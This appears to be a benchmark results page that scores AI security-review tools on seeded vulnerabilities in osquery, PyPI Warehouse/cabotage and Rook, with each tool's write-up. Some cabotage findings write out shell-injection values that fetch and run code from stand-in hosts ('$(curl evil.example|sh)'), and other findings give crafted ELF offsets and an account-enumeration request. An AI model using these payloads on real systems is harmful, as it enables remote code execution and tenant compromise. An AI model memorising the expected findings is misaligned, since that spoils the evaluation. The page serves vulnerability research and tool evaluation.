osquery passes an attacker-controlled file to libelfin's mmap_loader. Its load(off_t offset, size_t size) checks 'offset + size > lim'. The off_t offset is converted to unsigned, so a header field such as e_phoff, e_shoff or sh_offset with the high bit set makes the sum wrap to a small value and the check passes. The loader then returns base + (negative offset), a pointer below the mapping. I could not run code, so the wrap is read from the source rather than demonstrated.
- Exploit scenario
-
A crafted ELF64 file sets e_phoff = 0xFFFFFFFFFFFFFFC8 with e_phentsize = 56 and e_phnum = 1. Alternatively it sets a section sh_offset = -X with sh_size = X. The wrapped sum passes the check, and the parser reads headers or section data from memory just below the mapped file. This usually faults, because the page below a fresh top-down mmap is normally unmapped. It can also read other mapped memory and emit it as rows. Any elf_* table (elf_info, elf_segments, elf_sections, elf_symbols, elf_dynamic) triggers it.
- Recommendation
-
Do not rely on the vendored loader's check. Validate e_phoff, e_shoff and section offset/size against the file size with overflow-safe arithmetic before parsing. Or fix mmap_loader::load to reject negative offsets and to check 'size > lim || offset > lim - size'. Validate header fields before use.
Claude Security (Opus 5.5)
elf_symbols iterates an attacker-sized symbol table with libelfin's unbounded iterator, reading past the section and mapping (and dereferencing null on a bad sh_link)
osquery/tables/system/linux/elf_info.cpp:133Predicted severity: Medium- Root cause
-
Vulnerable symbol: getELFSymbols (lambda)
Preconditions: An elf_symbols query targets a path the attacker can write to; Local unprivileged attacker can create files there
Offending code:
for (const auto& sym : sec.as_symtab()) {
- Impact
-
Out-of-bounds read or null-pointer crash of the root osquery worker (DoS of endpoint monitoring), with possible leakage of adjacent memory into symbol rows.
- Description
-
sh_size and sh_link of an SHT_SYMTAB/SHT_DYNSYM section in an attacker-supplied file are passed to libelfin's symtab. Its iterator advances by sizeof(Sym) (16/24) and terminates only when pos == end. If sh_size is not a multiple of the entry size, or if offset+size wraps, pos never equals end and every iteration decodes a Sym past the section and the mapping. A sh_link >= e_shnum makes as_symtab() call as_strtab() on libelfin's invalid_section, whose impl pointer is null.
- Exploit scenario
-
The attacker creates an ELF64 whose SHT_SYMTAB section ends at a page-aligned EOF and has sh_size=25. The second iteration reads a 24-byte Sym starting 1 byte before EOF and runs off the mapping. The iterator then keeps going (pos never equals end) until it faults. A simpler variant sets the symtab's sh_link to 0xFFFFFFFF, and the worker crashes on a null dereference as soon as line 133 evaluates sec.as_symtab(). Neither is a C++ exception, so the try/catch in genElfInfo does not help.
- Recommendation
-
Before calling as_symtab(), verify sh_link < number of sections and that it refers to an SHT_STRTAB section. Also verify sh_size % sizeof(Sym) == 0 and that offset+size does not overflow and fits in the file. Alternatively iterate by index up to sh_size / entsize instead of relying on the libelfin iterator.
-
-
PyPI Warehouse Python Python package index web services. Tasks 8 V12 4/8 Devin (Deep) 1/8 Devin 1/8 Codex Sec 0/8 Claude Sec 2/8 Claude Opus 2/8 Vercel 0/8
Python package index web services.
- Weak signatures used in AWS SNS verification pypi-warehouse-2 Medium
-
Account status information leak for frozen and disabled accounts pypi-warehouse-5 · 3 writeups Medium
V12
Authentication errors expose account disablement categories
warehouse/warehouse/errors.py:21Predicted severity: Low- Root cause
-
The disabled-account branch returns detailed authentication errors before proving knowledge of the account's credentials. Its status messages turn an internal security-state distinction into an unauthenticated observation.
- Impact
-
An unauthenticated caller can discover whether a named account is frozen or has had its password disabled as compromised. This exposes account-security state, but does not validate the submitted password, disclose the password itself, or grant account access.
- Description
-
Basic-auth exceptions disclose account disablement before the submitted password is checked.
_basic_auth_check()looks up the supplied username, callsis_disabled(), and immediately raises distinct responses for a compromised password, a frozen account, or another disabled account.check_password()is only reached in the followingelifbranch._format_exc_status()places the diagnostic in the HTTP status, and the general HTTP-exception handler preserves that status. Thus an arbitrary password can retrieve the disablement category for a named account through the upload authentication surface.
Claude Security (Sonnet 5.5)
Upload Basic-auth path discloses frozen/disabled/compromised account state before the password is verified
warehouse/warehouse/accounts/security_policy.py:76Predicted severity: Low- Root cause
-
Vulnerable symbol: _basic_auth_check
Preconditions: The forklift upload route is reachable; The target account is frozen, or its password was disabled as compromised or for another reason
Offending code:
raise _format_exc_status(BasicAuthAccountFrozen(), "Account is frozen.")
- Impact
-
An unauthenticated remote client can learn, for any username and without a password, whether the account is frozen or disabled. It can also learn whether the account's password was flagged as compromised in a breach. A non-existent user and a wrong password both get the generic 'Invalid or non-existent authentication information' 403, so the distinct 401 messages let an attacker enumerate accounts in that state and pick likely credential-stuffing targets. Impact is limited to information disclosure, and this mirrors the web login form's pre-password compromised-password check.
- Description
-
The username in the HTTP Basic Authorization header of a POST to the forklift file_upload route (an untrusted, unauthenticated source) reaches _basic_auth_check, which calls is_disabled() and raises state-specific 401 errors before check_password() runs. The in-code comment claiming the credentials were already authenticated is wrong.
- Exploit scenario
-
The attacker sends POST /legacy/ with ':action=file_upload' and 'Authorization: Basic base64(victim:anything)'. The response is a 401 with status text 'Account is frozen.' or the breached-password message for a flagged account, or a 403 'Invalid or non-existent authentication information' otherwise. Repeating this over a username list maps which accounts are frozen or compromised.
- Recommendation
-
Call check_password() first and only reveal frozen, disabled or compromised status after the supplied password verifies. Otherwise return the same generic invalid-credentials response for every failure.
Claude Security (Opus 5.5)
Basic-auth upload endpoint reveals frozen/disabled/compromised account status before the password is checked
warehouse/warehouse/accounts/security_policy.py:76Predicted severity: Low- Root cause
-
Vulnerable symbol: _basic_auth_check
Preconditions: Attacker knows or guesses a username
Offending code:
raise _format_exc_status(BasicAuthAccountFrozen(), "Account is frozen.")
- Impact
-
Unauthenticated disclosure of account security state (frozen by admins, password-compromise lock). This helps attackers pick targets or confirm that a takeover was detected.
- Description
-
_basic_auth_check calls is_disabled and raises status-specific errors before calling check_password, despite the comment claiming the credentials were already authenticated. Any unauthenticated client that knows a username can read the account's state.
- Exploit scenario
-
An attacker POSTs to /legacy/ (forklift.legacy.file_upload) with
Authorization: Basic base64(victim:anything). The HTTP status text says whether the account is frozen, disabled, or flagged for a compromised password. Valid-but-normal accounts return the generic invalid-credentials message. No password is needed and the request doesn't count against the password check. - Recommendation
-
Verify the password first, and only then report disabled/frozen status; otherwise return the generic invalid-credentials error. Apply the same ordering in LoginForm.validate_password.
- Missing Permissions-Policy pypi-warehouse-9 Medium
- Weak hashing in storage backends pypi-warehouse-14 Medium
-
Use of shell=True in subprocesses pypi-warehouse-17 · 5 writeups Medium
V12
Unvalidated repository text reaches shell command construction
cabotage-app/cabotage/server/user/forms.py:215Predicted severity: Informational- Root cause
-
The settings-to-worker boundary does not constrain repository syntax, and the local build path converts an argv-style list containing that untrusted value into shell code. GitHub fetch success is implicitly relied on to screen a value consumed by a different interpreter.
- Impact
-
The specific unresolved question is whether an application administrator can preserve shell syntax in the saved repository string while the GitHub preflight calls still resolve valid repository content, allowing execution in the Celery worker rather than inside BuildKit. A repository string containing a shell substitution segment followed by
/..is a concrete candidate, but confirming its URL normalization and GitHub response behavior requires the pinned Requests/urllib3 runtime or a reproduction; the inspected boundary comprised the settings form and handler, complete relevant build path, dependency pins, and searches for installed dependency source, which was unavailable. - Description
-
The application settings form accepts
github_repositoryas an unrestricted string, and the settings route persists it directly. During image building, that value is interpolated into the BuildKit context argument rather than validated as an owner/repository pair. In the non-Kubernetes path, the argument list is joined into a string and executed withshell=True, without shell-quoting the repository-bearing argument. Earlier GitHub metadata fetches use the same string in URL paths, so malformed inputs may stop before shell execution; those fetches do not constitute an explicit shell-character defense. This is a source-backed shell-injection candidate whose exact preflight-bypass input remains unresolved.
Devin Security (Deep)
Shell command injection in image build via GitHub repository setting or commit SHA
cabotage-app/cabotage/celery/tasks/build.py:489Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who signs up for a free account can run shell commands on the shared Celery build worker, which holds the registry signing secret, the Vault token, and database access for every customer.
##### What's wrong
This is OS command injection. When Kubernetes is turned off, the image build joins its arguments into one string and runs it with
shell=True. Only build-args are shell-quoted. The application'sgithub_repositoryand the image'scommit_shago into the command string raw.##### Who can do it
Mallory registers a free account. Self-registration is on (
SECURITY_REGISTERABLE = True). She creates her own organization, project, and application, so she administers that application. On the settings page she sets GitHub Repository tomallory/repo/contents/x?$(curl evil.example|sh). In her public repo she makes a branch namednullthat holds a filex, which parses as both a Dockerfile and a Procfile (for exampleFROM python:3). She sets the deploy branch to a branch that has noxfile and clicks build from source. GitHub ignores the text after?in the API URL, so all the Dockerfile and Procfile lookups succeed. The shell then runs$(...).A second route: when no webhook secret is set, anyone can post a fake deployment webhook whose
shaholds shell syntax. Thatshabecomesimage.commit_sha.-
KUBERNETES_ENABLEDis False. This is the default inconfig.pyand the value indocker-compose.yml.- The attacker has a free account and administers her own application, or she can post to
/github/hookswhen no webhook secret is set.- The attacker has a public GitHub repo with a branch named
null.##### What they get
Mallory runs code as the Celery worker. That process holds
REGISTRY_AUTH_SECRET, which signs push and pull credentials for every image repository. It also holds the Vault token and the database connection. She can push backdoored images into other customers' repositories, read every customer's stored secrets in Vault, and change any row in the database. This reaches every tenant on the platform.##### How it works
1.
project_application_settingssavesgithub_repositorywithout any format check (forms.py:215, views.py:633-634).2.
build_image_buildkitfetches the Dockerfile and Procfile fromhttps://api.github.com/repos/{github_repository}/.... Text after?becomes an ignored query string, so the fetches succeed (build.py:362, 385, 430-442).3. The repository and
commit_shago raw into thecontext=https://github.com/{repo}.git#{sha}argument (build.py:497).4. The non-Kubernetes path runs
" ".join(buildctl_command + buildctl_args)withshell=True, so the shell runs$(...)(build.py:658-662).5. The release build uses the same
shell=Truepattern (build.py:314-318). - Exploit scenario
-
Not specified.
- Recommendation
-
Drop
shell=Trueand pass the argument list straight tosubprocess.run. Remove theshlex.quoteon build-args, since it is no longer needed. Validategithub_repositoryagainst^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$in the settings form. Requirecommit_shato be 40 hex characters before you use it. To check the fix, set the repository toa/b?$(touch /tmp/pwned)and run a build. The form should reject it, and with validation bypassed no/tmp/pwnedfile should appear.
Devin Security
Shell command injection in image build through the GitHub repository setting
cabotage-app/cabotage/celery/tasks/build.py:490Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who signs up and creates their own application can run shell commands on the shared Cabotage build worker when Kubernetes mode is off, which is the repository's default setting.
##### What's wrong
This is OS command injection. The image build joins its argument list into one string and runs it with
shell=True. The application'sgithub_repositoryvalue goes into that string without quoting or validation.##### Who can do it
Mallory signs up for a free Cabotage account, which the config allows (
SECURITY_REGISTERABLE = True). She creates an organization and an application, so she is its administrator. She sets the GitHub repository tomallory/repo/contents/Dockerfile?x=$(curl${IFS}evil.example|sh)#. Then she starts a build from source.- Mallory administers any application. Her own application is enough.
-
KUBERNETES_ENABLEDis False. This is the default inserver/config.pyand indocker-compose.yml. The Kubernetes path passes the arguments as a list and is not affected.- The GitHub contents API returns a Dockerfile and a Procfile for the URL she builds. The
#turns the rest of the URL into a fragment, so the request goes to her own repository.##### What they get
Mallory runs commands as the Celery worker. That worker holds the registry signing secret, the database connection, and Vault and MinIO credentials. She can read every other customer's build-time secrets and images. She can also mint registry tokens to push images into other customers' repositories, and she can change their deployments.
##### How it works
1.
project_application_settingsinserver/user/views.pysavesgithub_repositoryfromEditApplicationSettingsForm, which has no validators on that field.2.
build_image_buildkitcalls_fetch_github_fileatbuild.py:362. The value is put into the API URL there, and the fragment is dropped, so the Dockerfile lookup still succeeds.3.
build.py:497puts the raw value intocontext=https://github.com/{github_repository}.git#{commit_sha}.4.
build.py:659-661runs" ".join(buildctl_command + buildctl_args)withshell=True, so the shell expands$(...)from the repository value. - Exploit scenario
-
Not specified.
- Recommendation
-
Call subprocess.run with the argument list and shell=False in both the image and release build branches. Validate github_repository against
^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$and commit_sha against a 40-character hex pattern before you use them. To check the fix, save a repository value that contains$(touch /tmp/pwned). Confirm that the form rejects it, and that a build with a crafted value does not create the file.
Claude Security (Sonnet 5.5)
OS command injection: unvalidated github_repository is joined into a shell=True buildctl command (non-Kubernetes mode)
cabotage-app/cabotage/celery/tasks/build.py:658Predicted severity: High- Root cause
-
Vulnerable symbol: build_image_buildkit
Preconditions: Authenticated user with Administer permission on any application, obtainable by registering and creating an org; Deployment uses the non-Kubernetes build path (KUBERNETES_ENABLED=False, the shipped default and the docker-compose setup); the Kubernetes branch passes an argv list and is not shell-interpreted; Attacker-owned public GitHub repo with Dockerfile and Procfile, and the API-path dot-segment normalization described above (not verified by execution)
Offending code:
completed_subprocess = subprocess.run(
- Impact
-
Arbitrary command execution as the Celery worker user on the Cabotage backend host. That host holds Vault/Consul tokens, DB credentials, the registry auth secret and GitHub App key. This crosses from a tenant to the platform.
- Description
-
Application.github_repository is saved verbatim from EditApplicationSettingsForm (forms.py:215, no validation) and is interpolated into the buildctl argument 'context=https://github.com/{github_repository}.git#{sha}'. In the KUBERNETES_ENABLED=False branch (the default) the args are joined with ' '.join(...) and run with shell=True, without shlex.quote. Only the build-arg values are quoted.
- Exploit scenario
-
An attacker creates their own org/app, then sets github_repository to 'attacker/repo/$(curl${IFS}evil.example|sh)/..' and auto_deploy_branch to 'main' (a public repo they own with a Dockerfile and Procfile). _fetch_commit_sha_for_ref and _fetch_github_file build api.github.com URLs from the same string. urllib3 1.26.5 normalizes the '..' segment away, so those requests resolve to the attacker's real repo and the fetches succeed. The attacker then POSTs /applications/<id>/images/fromsource. The worker builds the shell command line, and the shell expands $(curl ...|sh) before buildctl runs, so the injected command executes even though the build later fails.
- Recommendation
-
Validate github_repository against ^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+\Z and auto_deploy_branch against a strict ref pattern when saving settings and again before use. Do not build the command with ' '.join and shell=True; pass the argv list to subprocess.run without a shell (or shlex.quote every element). URL-quote path components used for api.github.com requests.
Claude Security (Opus 5.5)
Unvalidated tenant github_repository reaches a shell=True buildctl command, letting a tenant run commands on the shared Celery worker
cabotage-app/cabotage/celery/tasks/build.py:658Predicted severity: High- Root cause
-
Vulnerable symbol: build_image_buildkit
Preconditions: KUBERNETES_ENABLED is False (the shipped default in config.py and docker-compose), which selects the shell=True branch; the Kubernetes branch passes arguments as a list and is not affected; The attacker has a confirmed account and admin rights on any application, which any self-registered user gets by creating their own organization
Offending code:
completed_subprocess = subprocess.run(
- Impact
-
The attacker gets arbitrary command execution in the shared Celery build worker. The worker holds REGISTRY_AUTH_SECRET (it can mint push/pull registry tokens for every tenant's image repository), the GitHub App private key (installation tokens for every customer installation), Vault/Consul access and database credentials. That means cross-tenant compromise: an attacker can backdoor other tenants' images, read their secrets and take over the platform.
- Description
-
Application.github_repository is free text that any application admin sets on the settings form, with no validator. build_image_buildkit pastes it unquoted into the buildctl argument
context=https://github.com/{github_repository}.git#{commit_sha}(line 497), joins all arguments with spaces and runs the result through /bin/sh (shell=True, lines 658-661). Only the build-arg values are shlex.quoted (line 508). - Exploit scenario
-
1. The attacker self-registers (SECURITY_REGISTERABLE=True), creates an organization and becomes its admin (views.py organization_create, add_user(admin=True)), then creates a project and application.
2. In application settings they set github_repository =
attacker/repo/$(curl${IFS}-s${IFS}attacker.example|sh)/..and auto_deploy_branch =main. The repo attacker/repo contains a Dockerfile and a Procfile.3. They POST /applications/<id>/images/fromsource, which queues run_image_build, which calls build_image_buildkit.
4. The GitHub API lookups go to
https://api.github.com/repos/attacker/repo/$(...)/../commits/mainand.../../contents/Dockerfile. requests/urllib3 removes the dot-segment, so the requests go to the real repo paths and succeed. This gets the code past the 'No Dockerfile/Procfile' BuildError checks.5. The joined command contains
--opt context=https://github.com/attacker/repo/$(curl -s attacker.example|sh)/...git#<sha>. /bin/sh runs the command substitution as the worker user.A second source reaches the same sink. When GITHUB_WEBHOOK_SECRET is unset (the default, so validate_webhook returns True), a forged deployment webhook can set deployment.sha. That value is merged into image_metadata (github.py:133) and becomes image.commit_sha in the same unquoted word. Exploiting this route also requires the forged ref to resolve on GitHub.
- Recommendation
-
Never build a shell string. Call subprocess.run with a list (buildctl_command + buildctl_args) and shell=False, and drop the shlex.quote on build-args at the same time. Also validate github_repository strictly on input (e.g. ^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$, rejecting '..'), validate commit_sha as ^[0-9a-f]{40}$ before use, and require GITHUB_WEBHOOK_SECRET so forged webhook payloads are rejected.
-
Potential container image manipulation through malicious Procfile pypi-warehouse-19 · 1 writeup Medium
V12
Process identifiers enter build paths without local validation
cabotage-app/cabotage/server/models/projects.py:494Predicted severity: Informational- Root cause
-
Build-context generation assumes process identifiers are safe filename and Dockerfile tokens without establishing that guarantee locally. The applicable upstream parser validation could not be verified from the available source.
- Impact
-
The specific unresolved question is whether repository-controlled process identifiers can influence host build-context paths or Dockerfile syntax beyond a single literal filename. The missing fact is the accepted process-name grammar of
procfile==0.1.0; searches covered the workspace's parser call, dependency pin, build-context producers, and filesystem consumer, but found no vendored parser implementation. No path traversal or instruction-injection exploit is established. - Description
-
Release.envconsul_configurationspreserves process names from the image's process mapping, and the build-context properties interpolate those names directly into filenames and Dockerfile instructions. The context helper also uses each name as a tar member or ConfigMap key without validation or escaping. In the non-Kubernetes build path, these generated names are passed toopen(os.path.join(tempdir, 'context', file), 'w'). The image build populates the process mapping throughprocfile.loadson repository content, with no additional identifier validation in the retrieved code. Whether the upstream parser excludes every filesystem- or Dockerfile-significant character remains unverified because the pinned parser's implementation is not present in the workspace.
- Repository confusion during image building pypi-warehouse-20 Medium
-
Brittle secret filtering in logs pypi-warehouse-25 · 1 writeup Medium
V12
Nonmatching credentials pass through log redaction
cabotage-app/cabotage/utils/logs.py:1Predicted severity: Informational- Root cause
-
Redaction is limited to a single credential-URL regex rather than the sensitive values or formats that could appear in workload output. The same narrowly filtered stream is exposed under view-only authority.
- Impact
-
If a deployed workload emits privileged credentials in a nonmatching format, the log channel exposes those credentials to read-only members despite the configuration's more restrictive handling. Security relevance remains unresolved at the exact missing fact of whether such credentials are actually emitted; the searched boundary includes the live-log producer/consumer, deployment container configuration, release entrypoint, and configuration storage/view code, not the source of deployed workload applications.
- Description
-
The shared function named
filter_secretsonly recognizes a particularx-access-token:[email protected]spelling. Text such asAuthorization: Bearer SECRETorhttps://user:[email protected]/is returned unchanged, and the live-log route sends it to any application-view-authorized member. The configuration routes, by contrast, require administrator authority, and secret configuration is stored with a masked UI value. This establishes a concrete redaction gap and a specific secret-to-reader boundary, but the reviewed deployment code does not establish that a workload actually logs one of those privileged credentials. This covers arbitrary credentials, alternate credential URLs, and multiline filtering without claiming that every log stream contains secrets.
-
-
Rook Go Kubernetes storage orchestration system. Tasks 7 V12 5/7 Devin (Deep) 2/7 Devin 1/7 Codex Sec 1/7 Claude Sec 2/7 Claude Opus 2/7 Vercel 1/7
Kubernetes storage orchestration system.
-
Variable shadowing results in potential misconfiguration rook-1 · 3 writeups Medium
V12
Single-selector networking silently selects the default server network
pkg/operator/edgefs/cluster/configmap.go:49Predicted severity: Medium- Root cause
-
Block-local short variable declarations shadow
serverIfNamein both single-selector Multus branches, leaving the persisted server interface at its default. - Impact
-
Storage daemon traffic can use the default pod network instead of the explicitly selected storage network, undermining the intended network separation or preventing cluster communication. Exposure beyond that network mismatch depends on the deployment's network policy and routing; the source does not establish public reachability.
- Description
-
The single-selector Multus branches declare a new block-local
serverIfNamewith:=instead of assigning the outer variable. With onlyserveror onlybrokerconfigured as, for example,storage@net1, the generated broker interface becomesnet1but the daemon server interface remains the defaulteth0. The two-selector branch does not have this defect.createClusterConfigMapthen persists the inconsistent interface pair into every node's runtime setup. Target networking annotations are still generated from the requested Multus selector, so attaching the network does not correct the daemon's selected interface.
Devin Security (Deep)
Shadowed serverIfName keeps EdgeFS server traffic on the default pod network when Multus defines one selector
pkg/operator/edgefs/cluster/configmap.go:76Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When an admin puts EdgeFS on a separate Multus storage network with only one selector set, the storage server still binds to the shared default pod network, which weakens the intended network isolation but does not by itself expose data.
##### What's wrong
This is a variable shadowing bug. In the Multus branches where only the server or only the broker selector is set, the code uses
:=. That creates a new localserverIfNameinside the branch. The outerserverIfNamestays at its default value, and the config map tells the EdgeFS server to use the default interface.##### Who can do it
Alice, an admin at Acme Corp, sets up EdgeFS with a Multus storage network and sets only the server selector. She expects storage traffic to stay on that private network. Mallory runs an ordinary pod elsewhere in the same Kubernetes cluster. Because the server binds to the default pod interface, Mallory's pod can reach the EdgeFS server ports over the normal pod network.
- The Cluster uses Multus networking with exactly one of the server or broker selectors set.
- No NetworkPolicy blocks other pods from reaching the EdgeFS pods.
##### What they get
Mallory can send traffic to EdgeFS server ports that Alice meant to keep on a private network. This removes one isolation layer. This review did not confirm a way to read or change data through those ports.
##### How it works
1.
createSetupConfigsstarts with the default interface names (configmap.go:49-50).2. In the Multus branch with one selector,
serverIfName, err := ...declares a new local variable (configmap.go:79andconfigmap.go:86).3. Only
brokerIfNamegets the Multus interface. The outerserverIfNamekeeps the default.4. The config map writes the default value into
ServerInterfaces(configmap.go:149), so the server binds to the default pod network. - Exploit scenario
-
Not specified.
- Recommendation
-
Declare
var err errorin each branch and assign with=so the outer serverIfName receives the Multus interface name. To check the fix, add a unit test that builds the config with a Multus network and only a server selector, and assert that ServerInterfaces equals the Multus interface name.
Devin Security
Shadowed variable makes EdgeFS server traffic use the default pod interface when only one Multus selector is set
pkg/operator/edgefs/cluster/configmap.go:78Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When an operator sets only one Multus network selector, EdgeFS server traffic silently stays on the default pod network instead of the dedicated network. Storage traffic that was meant to be isolated can then be seen by other pods on that network.
##### What's wrong
This is variable shadowing. In the Multus branches for a single selector,
serverIfName, err := ...uses:=. That declares a newserverIfNameinside the block. The outerserverIfNamekeeps its default value, whilebrokerIfNamegets the Multus interface name. The config map then binds the server to the default interface.##### Who can do it
Alice, an admin at Acme, sets up EdgeFS with Multus and only a
serverselector. She does this to keep storage traffic on a private network. The operator writesccowd.jsonwith the server interface set to the defaulteth0. Mallory controls another pod on the default cluster network, which is where the server traffic now goes.- The cluster uses
network.provider: multuswith exactly one of theserverorbrokerselectors defined.- An attacker can reach or observe the default pod network.
##### What they get
EdgeFS server traffic is not isolated the way Alice expects. That widens who can reach the storage daemons and who can see the traffic. There is no direct data exposure without further weaknesses in EdgeFS itself.
##### How it works
1. The outer
serverIfNameis set todefaultServerIfNameat configmap.go:49.2. The single-selector branch at configmap.go:79 or 86 declares a new local
serverIfNamewith:=.3. Only
brokerIfNametakes the Multus name at configmap.go:84 or 91.4. The outer
serverIfNamekeeps the default value and is written into the server network config. - Exploit scenario
-
Not specified.
- Recommendation
-
Declare
var err errorbefore the branches and use=for both assignments, so thatserverIfName = ...and thenbrokerIfName = serverIfName. To check the fix, write a unit test with a Multus spec that has only aserverselector. Confirm that the generated config map uses the Multus interface name for both the server and the broker.
-
Ine fectual assignments result in unused variable values rook-2 · 1 writeup Medium
V12
Watch initialization failure crashes the operator
pkg/operator/edgefs/cluster/prepare/prepare.go:157Predicted severity: Medium- Root cause
-
waitJobignores the watch-creation error and uses its possibly nil result after a separate successful API call. - Impact
-
A failed watch request can terminate the operator rather than merely failing one host preparation attempt. The demonstrated consequence is control-plane availability loss; this review does not establish that an unprivileged CR author can independently force the watch API to fail.
- Description
-
waitJobrecords the error returned byJobs.Watchbut overwrites it with the followingGetresult before checking it. When watch establishment fails and the named Job can still be retrieved, execution reacheswatch.ResultChan()with no successful watch. A nil watch therefore causes a panic in the cluster creation callback instead of a controlled preparation error.Startdoes not recover this panic, and the recovery inclusterChangedapplies only to diff generation, not this path. Watch authorization failure or a transient failure confined to the watch request is sufficient to reach this source-backed failure.
-
Potential runtime panics from unhandled type assertions rook-3 · 1 writeup Medium
V12
Missing credential fields panic during cluster initialization
pkg/daemon/ceph/client/auth.go:65Predicted severity: Informational- Root cause
-
parseAuthKeyassumes every successfully decoded JSON response contains a string-valuedkey. It uses a panicking assertion instead of validating dependency output and returning an error. - Impact
-
A reachable missing or nonstring
keyresponse can terminate the operator instead of allowing it to retry credential generation, interrupting orchestration across its managed clusters. Security relevance remains unresolved because the missing fact is whether a supported Ceph CLI version or externally configured cluster can produce that shape with a successful exit status; the searched boundary includesGenerateKey, the auth client, command execution, CSI initialization, and their repository tests, but not the external Ceph binary implementation. - Description
-
GenerateKeyrelies onparseAuthKeyto turn the Ceph CLI response into a credential, but the parser assertsresp["key"].(string)without checking presence or type. Syntactically valid JSON such as{},null, or{"key":null}therefore panics instead of returning a key-generation error. The panic occurs inside the get-or-create call, beforeGenerateKeycan enter its capability-update fallback or return an error to callers that gate Secret persistence. CSI invokes this path synchronously during cluster initialization, so an incompatible successful CLI response escapes the normal reconciliation failure/retry path. A dependency response that is JSON-valid is sufficient; malformed JSON itself correctly returns an error.
- Improperly handled type assertion error could result in invalid execution state rook-4 Medium
-
Logging of sensitive information rook-5 · 6 writeups High
V12
Debug parsing logs expose Ceph administrator keys
pkg/util/sys/parse.go:23Predicted severity: High- Root cause
-
Greptreats arbitrary input as safe diagnostic text, although a production caller uses it to parse authentication keyrings. Logging takes place before any extraction or redaction. - Impact
-
A reader of operator debug logs can obtain the generated monitor and Ceph administrator keys without reading the Kubernetes Secret holding them. Inference: where that reader can reach the Ceph cluster, the administrator key permits operations under the unrestricted capabilities assigned during creation; exploitation depends on log access and Ceph connectivity.
- Description
-
Grepwrites its complete input and the first matching line to debug logs without redaction. During new Ceph cluster initialization,createNamedClusterInfogenerates both monitor and administrator keyrings throughgenSecret, which reads each keyring and passes its contents toextractKey. That function callssys.Grep(contents, "key"), so both logging statements receive actual Ceph authentication secrets, not merely keyring paths. The generated administrator identity is assigned unrestricted monitor, OSD, and manager capabilities. With DEBUG or TRACE logging enabled, cluster creation therefore copies these credentials into the operator log stream; the default INFO level does not emit these particular statements.
Devin Security (Deep)
Grep writes the Ceph mon and admin keys to operator logs at debug level
pkg/util/sys/parse.go:24Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If an operator turns on debug logging, the Rook operator writes the Ceph monitor key and the full-power
client.adminkey into its logs, so anyone who can read those logs can take over the storage cluster.##### What's wrong
This is a secret written to a log. The shared
Grephelper logs its whole input and the matching line at debug level, and one caller passes the freshly generated keyring file into it.##### Who can do it
Alice, a platform admin at Acme Corp, sets
ROOK_LOG_LEVEL=DEBUGon the Rook operator to troubleshoot a new cluster. The operator's logs are shipped to Acme's central log system. Mallory, a contractor with read access to that log system but not to Kubernetes Secrets, searches the logs forkey =and finds the keys.- The operator runs with
ROOK_LOG_LEVELset toDEBUG. The shipped default isINFOinoperator.yamland in the Helm chart.- A new Ceph cluster is created while debug logging is on, so
createNamedClusterInfogenerates new keys.- The attacker can read the operator pod logs, through
pods/logaccess or a log aggregation system, without already holding therook-ceph-monSecret.##### What they get
Mallory gets the
client.adminkey, which hasallow *rights on the mon, OSD and mgr daemons, and themon.key. With network access to the monitors she can read, change or delete every pool, image, file system and object bucket in Acme's Ceph cluster. The leak covers only the cluster whose keys were generated while debug logging was on.##### How it works
1.
createNamedClusterInfoinpkg/operator/ceph/cluster/mon/config.go:220-227callsgenSecretfor themon.andclient.adminidentities.2.
genSecretrunsceph-authtool, reads the keyring file it created, and passes the file contents toextractKey(pkg/operator/ceph/cluster/mon/config.go:254-259).3.
extractKeycallssys.Grep(contents, "key")(pkg/operator/ceph/cluster/mon/config.go:264).4.
Greplogs the full keyring text withlogger.Debugf("grep. search=%s, input=%s", ...)atpkg/util/sys/parse.go:25.5.
Greplogs the matchingkey = <secret>line again atpkg/util/sys/parse.go:31. - Exploit scenario
-
Not specified.
- Recommendation
-
Remove the input from the debug message in
Grep, or log only its length, and stop logging the matched line. Better still, changeextractKeyto parse the keyring itself and not call the genericGrephelper. To check the fix, runTestCreateClusterInfoor an equivalent mon config test with capnslog set to DEBUG and an in-memory log formatter. Then assert that the generated key string does not appear anywhere in the captured log output.
Codex Security (GPT-6 Sol)
CephFS mount failure logs the filesystem secret
cmd/rookflex/cmd/mount.go:238Predicted severity: Medium- Root cause
-
GetClientAccessInfo returns a Ceph secret (pkg/daemon/ceph/agent/flexvolume/controller.go:420-435). mountCephFS puts it in secret=<key> option (cmd/rookflex/cmd/mount.go:238-241), includes options in mount error (288), and sends error to agent logging (294; cmd/rookflex/cmd/root.go:76-81). The missing or insufficient control lets User able to cause CephFS mount failure and read agent logs, or a principal with existing log access cause Ceph credential disclosure in agent logs.
- Impact
-
Ceph credential disclosure in agent logs. Exploitation requires User able to cause CephFS mount failure and read agent logs, or a principal with existing log access; Successful mount log omits credentials; failure and log access required..
- Description
-
Ceph credential disclosure in agent logs. GetClientAccessInfo returns a Ceph secret (pkg/daemon/ceph/agent/flexvolume/controller.go:420-435). mountCephFS puts it in secret=<key> option (cmd/rookflex/cmd/mount.go:238-241), includes options in mount error (288), and sends error to agent logging (294; cmd/rookflex/cmd/root.go:76-81).
- Exploit scenario
-
GetClientAccessInfo returns a Ceph secret (pkg/daemon/ceph/agent/flexvolume/controller.go:420-435). mountCephFS puts it in secret=<key> option (cmd/rookflex/cmd/mount.go:238-241), includes options in mount error (288), and sends error to agent logging (294; cmd/rookflex/cmd/root.go:76-81).
- Recommendation
-
Redact secret-bearing mount options from errors and logs.
Claude Security (Sonnet 5.5)
CephFS secret key (cluster admin key by default) written to agent logs on mount failure
cmd/rookflex/cmd/mount.go:288Predicted severity: Medium- Root cause
-
Vulnerable symbol: mountCephFS
Preconditions: A CephFS flexvolume mount must fail, which an unprivileged pod author can trigger by requesting a bad path or filesystem; The reader has access to the agent pod logs or to wherever they are aggregated
Offending code:
return fmt.Errorf("failed to mount filesystem %s to %s with monitor %s and options %v: %+v", opts.FsName, opts.MountDir, devicePath, options, err)
